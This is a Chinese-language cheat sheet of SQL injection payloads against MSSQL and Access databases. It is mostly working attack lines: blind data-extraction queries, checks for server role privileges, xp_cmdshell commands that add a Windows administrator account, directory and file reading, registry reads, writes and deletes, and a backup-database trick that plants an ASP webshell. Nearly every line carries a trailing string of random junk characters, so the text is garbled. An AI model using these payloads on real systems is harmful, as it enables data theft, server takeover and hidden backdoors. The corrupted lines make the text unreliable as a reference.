1.判断是否有注入;and 1=1 ;and 1=2 JLZ=$ d
2.初步判断是否是mssql ;and user>0 tUR9ti
TA~YCj$
3.注入参数是字符'and [查询条件] and ''=' Il&}4#:
HGJfj*JH
4.搜索时没过滤参数的'and [查询条件] and '%25'=' <F7g;s'q9
v7kR]HU[y
5.判断数据库系统 :(o6^%x
RXDPT
;and (select count(*) from sysobjects)>0 mssql IC:wof "
^%<t^sE
;and (select count(*) from msysobjects)>0 access YKZk/m&H
@uaf&my,P
*w[\(d'T
NcVsQV
6.猜数据库 ;and (select Count(*) from [数据库名])>0 RaNz)]+7`
3{;W!/&>
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 qauZ-Qoc9
v1E=P7}\{s
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 _P]!J~$5
*i>?YT
9.(1)猜字段的ascii值(access) G L> u3K
n!*uv~%$
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ;C+g)BW
qXQ/M]
(2)猜字段的ascii值(mssql) +[sZE
X
uDZ$'a
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 O!c b-
{ta0dS;1
10.测试权限结构(mssql) ^S'#)H-8C3
8sV_@<l<X
u?>]C6$
?5oeyBA@
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- =c>w
,VM)ZK=Tr
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $m:4'r
Ve1O<i
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- F9|\(St &
0H6^2T<
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- /<Doe SDJ|
+gQn,HX
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- r.V< 5xV
mu(EmAoenQ
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- zgdOugmmt_
l]s,CX
;and 1=(select IS_MEMBER('db_owner'));-- 06&:X^
#h 4`f
w;;.bz m
=HF||p@
11.添加mssql和系统的帐户 :PrQ]ss@C5
Nz,8NM]
;exec master.dbo.sp_addlogin username;-- |Ki\Q3O1
;exec master.dbo.sp_password null,username,password;-- 2{!^"iW
QX*HvT
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- O!b >
ZjE!?
'(ef
;exec master.dbo.xp_cmdshell 'net user username password 0$n0fu
_%)v9}D
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- P|[i{h
=Of!1TR(
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 2EeWcTBU}.
:>Gm&w
(n
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ugM,wT&~Y
FuZ7xM,
bBQ1~ R
EH'?wh|Yp
12.(1)遍历目录 >qJRpO
iB Ld*B|#K
;create table dirs(paths varchar(100), id int) ):.
+u=
y7I')}SC
;insert dirs exec master.dbo.xp_dirtree 'c:\' JNzNK.E!m-
3f`+-&|M
;and (select top 1 paths from dirs)>0 pcM'j#;
GdqT4a\S
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) zS*X9|p
{]\QUXH
3N?WpA768/
=o5ZcC
(2)遍历目录 XD5z+/F<"0
1*eWo~G
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- &)Fp
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 p7Yej(B
z G
{1;
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Q"UQv<
Efsfuv
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 3A_7R-sQ
T jO}P\p
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 #c5 NFU}9
6]dK,
Y`QJcC(3
}>cQ}6n.
13.mssql中的存储过程 o$4n D#P3
S1pikwB
xp_regenumvalues 注册表根键, 子键 t)74(
8>Hnv]p
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 *yqEl
O
I
U/HYBJH
xp_regread 根键,子键,键值名 L&F0^
?d1H]f<M
;exec xp_regread ?]}1FP
UNcS\t2N
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 7p&%0'BO1z
NZ/>nNs
xp_regwrite 根键,子键, 值名, 值类型, 值 u>j:8lhtV
i,BE]w
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 83UIH0(
_dY6Ip%
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 F8km8lPQl
<qs>c<Vj
xp_regdeletevalue 根键,子键,值名 i~}[/^
4,kT4_&,
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 UBp0;)-
z#*w Na&@[
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 eN@V?G26K
PuAcsYQhN
Y!9'Wf/^
Vd[[<
14.mssql的backup创建webshell ba^cw}5
-tWkN^j8+
use model `#hdb=3
D^To:N7U
create table cmd(str image); 0jO]+B I1
7vR JQe)
insert into cmd(str) values (''); [)|P-x-<
2~+_T
backup database model to disk='c:\l.asp'; p`-`(i=iJo
r*<)QP^B~
}!b9L]
|l(rR06#.]
15.mssql内置函数 j"*ZS'0
@a)
x^d
;and (select @@version)>0 获得Windows的版本号 f_X]2in
VL"!.^'c
;and user_name()='dbo' 判断当前系统的连接用户是不是sa wxpE5v+f|
>}h/$bU
;and (select user_name())>0 爆当前系统的连接用户 L,0HX
E~]8>U?V
;and (select db_name())>0 得到当前连接的数据库 XX",&cp02V
Y[9x\6
_E
<#JJS}TLk
\"c;MK{
16.简洁的webshell 1SeDrzLA
0f/=C9L
use model d paZ6g
)s(J8J[b*L
create table cmd(str image); ET1/oG<@
6,)!\1k
insert into cmd(str) values (''); 0\O*\w?
@47MJzC
backup database model to disk='g:\wwwtest\l.asp';